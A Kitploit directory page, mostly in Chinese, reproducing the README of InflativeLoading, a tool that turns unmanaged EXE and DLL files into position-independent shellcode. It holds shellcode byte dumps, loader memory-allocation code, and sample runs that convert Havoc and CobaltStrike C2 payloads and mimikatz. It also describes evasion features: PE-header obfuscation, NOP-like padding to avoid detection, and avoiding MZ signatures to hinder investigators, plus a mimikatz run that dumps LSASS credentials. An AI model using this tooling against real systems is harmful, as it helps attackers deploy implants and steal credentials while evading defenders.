Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
InflativeLoading — 通过预置 shellcode 存根,动态地将非托管 EXE 或 DLL 文件转换为 PIC shellcode。 | Kitploit
工具/GitHubGitHub/senzee1984/inflativeloading
Payload生成漏洞利用逆向工程Shellcode恶意软件分析二进制利用
GitHubsenzee1984/inflativeloading

InflativeLoading

通过预置 shellcode 存根,动态地将非托管 EXE 或 DLL 文件转换为 PIC shellcode。

查看仓库
3267032年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

InflativeLoading

文章:https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading

主要更新历史

本节提供主要更新。主要更新包括新增的支持或功能。

2024年4月11日 新增PE签名混淆

PE头中只有少数字节(如e_lfanew、导入目录的RVA)对完成加载过程是必需的。因此,其他字节可以用随机数据覆盖以隐藏PE头签名。

在所有过程完成后,甚至这些字节也会被覆盖以实现完全混淆。例如,从下面的截图可以看出,PE头大部分已被混淆,但e_lfanew 仍未被混淆以用于加载。但加载过程完成后,e_lfanew 也会被混淆。

image

然而,根据所选程序的不同,混淆可能与其不兼容。你需要了解该程序的工作原理。例如,Havoc 无状态DLL载荷与混淆功能不兼容,因为该DLL也使用了PE头。

image

Havoc 无状态EXE载荷与混淆配合良好:```powershell PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin [+] The file is an EXE file [+] Process PID: 26772 [+] PEB Address:000000E87CB1D000 [+] Image Base Address:00007FF7BB8A0000 [+] e_lfanew is 0x80 [+] Size Of The Image : 0x1e000 [+] Size Of Optional Header : 0xf0 [+] Size Of text Section : 0x18000 [+] Size of other sections of mapped .\havoc.exe is 0x5000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);

[+] 3 iterations are needed

[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000 PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin

██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗ ██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝ ██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗ ██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗ ╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝

root@kitploit:~
██╗      ██████╗  █████╗ ██████╗ ██╗███╗   ██╗ ██████╗
██║     ██╔═══██╗██╔══██╗██╔══██╗██║████╗  ██║██╔════╝
██║     ██║   ██║███████║██║  ██║██║██╔██╗ ██║██║  ███╗
██║     ██║   ██║██╔══██║██║  ██║██║██║╚██╗██║██║   ██║
███████╗╚██████╔╝██║  ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚═╝╚═╝  ╚═══╝ ╚═════╝

Author: Senzee Github Repository: https://github.com/senzee1984/InflativeLoading Twitter: senzee@1984 Website: https://winslow1984.com Description: Dynamically convert a native PE to PIC shellcode Attention: Bugs are expected, more support and improvements are coming!

[!] The offset to NT header is 0x80 [!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work! [!] Dynamically generated instructions to obfuscate remained PE signatures: mov dword ptr [rbx+0x3c], 0x29f7945; mov dword ptr [rbx+0xa8], 0x99924859; mov dword ptr [rbx+0xb0], 0x99924859; mov dword ptr [rbx+0xb4], 0x1203885a; mov dword ptr [rbx+0xd0], 0xbc488d5f; mov dword ptr [rbx+0x110], 0xbc488d5f; mov dword ptr [rbx+0x114], 0x87287f91; mov dword ptr [rbx+0x130], 0xbc488d5f; mov dword ptr [rbx+0x134], 0xd44cc6bb; mov dword ptr [rbx+0x170], 0xbc488d5f; mov dword ptr [rbx+0x174], 0x8d976bd1;

[+] Shellcode Stub size: 957 bytes [+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes [!] Shellcoded PE's size: 126976 bytes

buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70" buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04" buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48" buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d" buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f" buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c" buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb" buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b" buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd" buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c" buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3" buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0" buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74" buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01" buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c" buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80" buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10" buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c" buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6" buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0" ......126576 more bytes......

Generated shellcode successfully saved in file havocsc.bin

[#] Shellcode located at address 0x1ae8ab70000

[!] PRESS TO EXECUTE SHELLCODED EXE...

root@kitploit:~
### 4/11/2024 将填充的NOP替换为NOP-Like指令序列
在更新之前,`0x90/NOP` 指令被填充在实际shellcode存根之后,以对齐内存页。许多NOP可能成为检测指标,因此,InflativeLoading脚本动态选择预设的NOP-Like指令序列。用户也可以添加新的序列或替换现有序列,以实现更好的混淆效果。```python
    nop_like_instructions = [
        {"instruction": [0x90], "length": 1},  # NOP
        {"instruction": [0x86, 0xdb], "length": 2},  # xchg bl, bl;
        {"instruction": [0x66, 0x87, 0xf6], "length": 3},  # xchg si, si;
        {"instruction": [0x48, 0x9c, 0x48, 0x93], "length": 4},  # xchg rax, rbx; xchg rbx, rax;
        {"instruction": [0x66, 0x83, 0xc2, 0x00], "length": 4},  # add dx, 0
        {"instruction": [0x48, 0xff, 0xc0, 0x48, 0xff, 0xc8], "length": 6},  # inc rax; dec rax;
        {"instruction": [0x49, 0xf7, 0xd8, 0x49, 0xf7, 0xd8], "length": 6},  # neg r8; neg r8;
        {"instruction": [0x48, 0x83, 0xc0, 0x01, 0x48, 0xff, 0xc8], "length": 7},  # add rax,0x1; dec rax;
        {"instruction": [0x48, 0x83, 0xe9, 0x2, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc1], "length": 10},  # sub rcx, 2; inc rcx; inc rcx
    ]

4/11/2024 改进的 Shellcode 逻辑

我增加了额外的 shellcode 逻辑来处理一些不常见的异常。例如,在 CobaltStrike 无状态 DLL 载荷中,部分基址重定位条目是无效的,因为页面 RVA 大于镜像大小。

镜像大小为 0x58000。 image

然而,某些 RVA 大于 0x58000。 image

此外,shellcode 在执行完转换后的 shellcode 后优雅地退出程序。

4/11/2024 改进的 PE 转储器

现在转储器可以显示更多信息,并提供内存分配建议:```c // Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x1000, 0x5000, 0x3000, 0x20);

root@kitploit:~
The shellcode stub is fixed at `0x1000` bytes, the PE header is fixed at `0x1000` bytes, and the size of the text section and other sections varies.

Shellcode 存根固定为 `0x1000` 字节,PE 头固定为 `0x1000` 字节,而 .text 节及其他节的大小是可变的。

### 4/11/2024 Added Support For Unmanaged DLL
After the update, unmanaged DLLs can also be converted to PIC shellcode. Test cases for custom DLLs, Havoc stageless DLL payload, and CobaltStrike stageless DLL payload are passed.

### 2024年4月11日 新增对非托管 DLL 的支持
更新后,非托管 DLL 也可转换为 PIC shellcode。针对自定义 DLL、Havoc 无阶段 DLL 载荷以及 CobaltStrike 无阶段 DLL 载荷的测试用例均通过。```powershell
PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin
[+] The file is a DLL file
[+] Image base of mapped .\havocdll.dll is 0x1a730000
[+] e_lfanew of mapped .\havocdll.dll is 0x80
[+] imageSize of mapped .\havocdll.dll is 0x1e000
[+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0
[+] Offset of section Header of mapped .\havocdll.dll is 0x188
[+] Size of text section of mapped .\havocdll.dll is 0x18000
[+] Size of other sections of mapped .\havocdll.dll is 0x5000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);

[+] Data successfully written to havocdll.bin
PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havocdll.bin -e true -o false -b havocdllsc.bin

██╗███╗   ██╗███████╗██╗      █████╗ ████████╗██╗██╗   ██╗███████╗
██║████╗  ██║██╔════╝██║     ██╔══██╗╚══██╔══╝██║██║   ██║██╔════╝
██║██╔██╗ ██║█████╗  ██║     ███████║   ██║   ██║██║   ██║█████╗
██║██║╚██╗██║██╔══╝  ██║     ██╔══██║   ██║   ██║╚██╗ ██╔╝██╔══╝
██║██║ ╚████║██║     ███████╗██║  ██║   ██║   ██║ ╚████╔╝ ███████╗
╚═╝╚═╝  ╚═══╝╚═╝     ╚══════╝╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═══╝  ╚══════╝

    ██╗      ██████╗  █████╗ ██████╗ ██╗███╗   ██╗ ██████╗
    ██║     ██╔═══██╗██╔══██╗██╔══██╗██║████╗  ██║██╔════╝
    ██║     ██║   ██║███████║██║  ██║██║██╔██╗ ██║██║  ███╗
    ██║     ██║   ██║██╔══██║██║  ██║██║██║╚██╗██║██║   ██║
    ███████╗╚██████╔╝██║  ██║██████╔╝██║██║ ╚████║╚██████╔╝
    ╚══════╝ ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚═╝╚═╝  ╚═══╝ ╚═════╝

Author: Senzee
Github Repository: https://github.com/senzee1984/InflativeLoading
Twitter: senzee@1984
Website: https://winslow1984.com
Description: Dynamically convert a native PE to PIC shellcode
Attention: Bugs are expected, more support and improvements are coming!



[!] The offset to NT header is 0x80


[+] Shellcode Stub size: 850 bytes
[+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes
[!] Shellcoded PE's size: 126976 bytes


buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70"
buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04"
buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48"
buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d"
buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f"
buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c"
buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb"
buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b"
buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd"
buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c"
buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3"
buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0"
buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74"
buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01"
buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c"
buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80"
buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10"
buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c"
buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6"
buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0"
......126576 more bytes......


Generated shellcode successfully saved in file havocdllsc.bin


[#] Shellcode located at address 0x2108a9d0000

[!] PRESS TO EXECUTE SHELLCODED EXE...

image

2024年2月19日 添加对UPX压缩EXE的基本支持

我稍微修改了修复IAT的代码,因为发现有些代码行是不必要的。修改后,InflativeLoading能够执行某些UPX压缩的EXE程序,包括calc.exe、PsExec。但仅限于部分压缩程序。首先,我不太可能测试所有目标程序的所有可能的压缩配置。第二个原因,请继续阅读:

对于没有延迟导入目录的程序,InflativeLoading可以执行其UPX压缩版本。但与未压缩程序不同,压缩程序的所有ILT均为空。

以普通的calc.exe为例,所有模块的ILT和IAT是相同的。 image

但对于UPX压缩的calc.exe,导入目录中的所有条目的ILT均为空。 image

但如果程序具有延迟导入目录(如Mimikatz),情况就更加复杂。

对于普通的mimikatz.exe,其延迟导入目录如下: image

但对于UPX压缩的mimikatz.exe,PE Bear无法解析它,我也一样。 image

以下是通过测试的UPX压缩calc.exe案例。 image

背景

我的目标之一是将EXE转换为shellcode。这样,像Mimikatz这样的安全工具可以更灵活地使用。尽管像Donut这样的工具已经实现了这一点,我仍然希望用自己的方法创建这样一个工具,并希望它能带来一些改进。

受一些经典和现代工具及技术的启发,InflativeLoading是一个能够将非托管EXE/DLL动态转换为PIC shellcode的工具。

简而言之,InflativeLoading生成一个shellcode存根并将其预置到转储的PE主模块之前。

该工具由DumpPEFromMemory.exe和InflativeLoading.py组成。

包含组件

将非托管PE文件转换为shellcode需要以下两个组件。

DumpPEFromMemory项目

DumpPEFromMemory.exe用于获取所选PE文件的内存版本。

对于EXE程序,它通过创建一个挂起状态的进程并将主模块转储为二进制文件(在您的开发机器上)来工作。为什么?典型的反射式加载过程会将PE文件的每个节映射到新分配的内存区域。对此,我有两点担忧:首先,尽管每个节的数据无论是在磁盘上还是在内存中基本上是一致的,但对于特定的PE文件或在特定情况下,仍可能存在某些差异。```c // Code snippet from Maldev course for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) { memcpy( (PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress), // Distination: pPeBaseAddress + RVA (PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData), // Source: pPeHdrs->pFileBuffer + RVA pPeHdrs->pImgSecHdr[i].SizeOfRawData // Size ); }

root@kitploit:~
对于 `DLL` 文件,DumPEFromMemory 会创建文件映射并映射文件的一个视图,而不会执行 DllMain()。

其次,PE 文件的内容已经存在于加载器的内存中(例如作为字节数组),但加载器再次分配内存空间。DumpPEFromMemory 的执行在操作者的开发机器上完成。操作者获取的是 PE 文件加载到内存时的转储。尽管某些数据仍需更新,但无需在受害者机器上分配内存区域。

通过这种方式,我们不需要手动映射文件,只需修补特定的数据区域,如 `Import Directory`、`Base Relocation Table Directory`、`Delayed Load Import Descriptors Directory` 等。

转储的主模块将保存为二进制文件,追加到 shellcode stub 中。

例如,DumpPEFromMemory 执行经典工具 mimikatz,并将其主模块转储为二进制文件。```powershell
PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\mimikatz.exe mimikatz.bin
[+] The file is an EXE file
[+] Process PID: 23052
[+] PEB Address:00000000004A5000
[+] Image Base Address:00007FF730E00000
[+] e_lfanew is 0x120
[+] Size Of The Image : 0x137000
[+] Size Of Optional Header : 0xf0
[+] Size Of text Section : 0xc5000
[+] Size of other sections of mapped .\mimikatz.exe is 0x71000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);

[+] 29 iterations are needed

[+] Data successfully written to mimikatz.bin. Total bytes read: 0x137000

image

并从内存中转储Havoc DLL载荷:```powershell PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin [+] The file is a DLL file [+] Image base of mapped .\havocdll.dll is 0x87fd0000 [+] e_lfanew of mapped .\havocdll.dll is 0x80 [+] imageSize of mapped .\havocdll.dll is 0x1e000 [+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0 [+] Offset of section Header of mapped .\havocdll.dll is 0x188 [+] Size of text section of mapped .\havocdll.dll is 0x18000 [+] Size of other sections of mapped .\havocdll.dll is 0x5000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);

[+] Data successfully written to havocdll.bin

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/6494/e69ec25d4b0073df13521e25519ac47d76f2e999b15f58756efe4d5e89d67e9a.jpg)



### InflativeLoading 脚本
该脚本动态生成一个 shellcode 存根,并将其预置到转储文件之前。

该 shellcode 完成以下任务:
1. 遍历 PEB,找到 kernel32.dll
2. 更新命令行
3. 解析 kernel32.dll,获取 LoadLibraryA、GetProcAddress 函数的地址
4. 通过偏移量定位附加的转储文件
5. 动态修复导入目录、基址重定位表目录、延迟加载导入描述符目录等
6. 选择是否混淆 PE 头
7. 将执行权转移到 PE 文件的入口点
8. 正常退出

例如,使用该脚本读取之前转储的 mimikatz,并为其提供正确的命令行,以便在 LSASS 中转储凭据:

![image](https://assets.kitploit.com/production/public/readmes/6494/3dc22f1cb9a5a680988845e923fdd52fe1f263e09a92ff2b517f84db5604a80c.jpg)

尽管 shellcode 存根通常应小于 1000 字节,但该脚本仍会将其填充至 4096 字节,以与内存页边界对齐。这样,操作员可以轻松为不同内存区域设置适当的页面权限。该转储工具会提供内存分配建议:```powershell
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);

如何使用?

我相信你已经了解了 InflativeLoading 的两个组成部分,总结如下:

  1. 使用 DumpPEFromMemory.exe 选择一个非托管 PE 文件,并将 PE 主模块从内存中转储为 bin 文件。关于选择 PE 文件的信息,请参考“最佳使用案例”和“已知问题或限制”部分。
  2. 使用 InflativeLoading.py 脚本为该转储文件预先添加一段 shellcode 存根。你可以选择是否提供命令行、是否混淆,以及是否立即执行生成的 shellcode。目前,用户提供的命令行仅对一小部分程序正常工作。

最佳使用案例

由于 InflativeLoading 仍处于早期阶段,并非所有 exe 都能得到良好支持。非托管 DLL 支持良好;导出函数的执行将在下一次更新中推出!

✅ 不依赖参数的原生控制台程序,例如无状态 C2 植入体、简单的自定义控制台程序。

✅ 具有交互式控制台/shell 的原生控制台程序,例如 Mimikatz。

✅ 非托管 DLL

相比于 ReflectiveLoader 的改进

✔️ 无需特定的导出函数,使得对于那些不便轻易获取源代码和编译文件的 PE 文件更加友好。

✔️ 避免了在某些情况下因磁盘上的 PE 文件与内存中 PE 文件差异而导致非预期的结果。

✔️ 无需在原始文件偏移和 RVA 之间进行转换。

✔️ 无需分配额外的内存空间。

✔️ 避免了 RWX 内存区域。

✔️ 即使是 RX 内存区域,也不会以 MZ 特征开头,增加了调查的难度。

功能特性

☑️ 支持普通原生 EXE

☑️ 支持非托管 DLL

☑️ 支持包含延迟导入目录的 EXE/DLL

☑️ 修复 IAT

☑️ 修复基址重定位目录

☑️ 在经典程序(如 calc、mimikatz、PsExec 等)上测试通过

☑️ 在经典 C2 载荷(例如 CobaltStrike 和 Havoc 的无状态 DLL/EXE 载荷)上测试通过

☑️ 部分支持加壳程序

已知问题或限制

⚠️ 以下部分问题未来可能修复,而部分问题由于其本质仍不在解决范围内。

  • 提供的命令行并不总是能正常工作。这是我后续将重点关注的领域。

  • GUI 程序(如 mspaint.exe)运行不佳。但 calc.exe 运行良好。

  • 并非所有加壳程序都能运行。某些加壳程序可正常执行,需视具体情况而定。

  • 需要其他依赖(如自定义 DLL)的程序无法运行。

  • 仅支持 x64,且我暂无计划添加对 x86 程序的支持。

如果你遇到上述任何问题或限制,shellcode 的执行可能会崩溃、转换后的程序无法正确识别命令行,或者没有任何响应。

例如,PsExec.exe 可以转换为 PIC shellcode,但用户提供的命令行无法被正确识别。```cmd C:\Users<...SNIP>>python InflativeLoading.py -b psexec.bin -c "-s -i powershell" -e true -o psexec_merged.bin

<...SNIP...>

Generated shellcode successfully saved in file psexec_merged.bin

[#] Shellcode located at address 0x27159360000

[!] PRESS TO EXECUTE SHELLCODED EXE...

Python Console v3.12.2 - Python Copyright 2001-2023 Python Software Foundation. Copyright 2000 BeOpen.com. Copyright 1995-2001 CNRI. Copyright 1991-1995 SMC. Python Software Foundation

Couldn't install PSEXESVC service: The specified resource type cannot be found in the image file.

root@kitploit:~
## 测试用例
| 程序 | 格式 | 是否有GUI? | 是否提供参数? | 成功执行 | 正确使用参数执行 |
| ----------- | ----------- | ----------- |----------- | ----------- |----------- | 
| 简单的自定义C/C++程序     | EXE |否 | 否  |:heavy_check_mark: | 不适用 |
| 简单的自定义DLL    | DLL |否 | 否  |:heavy_check_mark: | 不适用 |
| Havoc和CobaltStrike EXE载荷     | EXE |否 | 否  |:heavy_check_mark: | 不适用 |
| Havoc和CobaltStrike DLL载荷     | DLL |否 | 否  |:heavy_check_mark: | 不适用 |
| calc.exe     | EXE | 是 | 否 |:heavy_check_mark: | 不适用 |
| mimikatz.exe  | EXE | 否 | 是   |:heavy_check_mark: |:heavy_check_mark: |
| PsExec  | EXE | 否     |是 |:heavy_check_mark: |:no_entry_sign:|
| mspaint.exe  | EXE | 是     |否 | :no_entry_sign: | 不适用 |
| 打包的程序  | EXE | 否     |否 | 部分 | 不适用 |

转储版本的calc.exe和mimikatz.exe可在仓库的`bin/`文件夹中找到。

## 未来改进
:bell: 预计未来将实现以下功能和改进。

+ 一个单独的.NET程序加载器。

+ 增加对DLL导出函数的支持。

+ 支持更多打包的程序。

+ 改进糟糕的代码 : )

## 致谢与参考
以下资源在我的研究和开发过程中给予了我很多启发:

<https://github.com/TheWover/donut>

<https://github.com/d35ha/PE2Shellcode>

<https://github.com/hasherezade/pe_to_shellcode>

<https://github.com/monoxgas/sRDI>

<https://github.com/stephenfewer/ReflectiveDLLInjection>

<https://securityintelligence.com/x-force/defining-cobalt-strike-reflective-loader/>

<https://maldevacademy.com/>
下载工具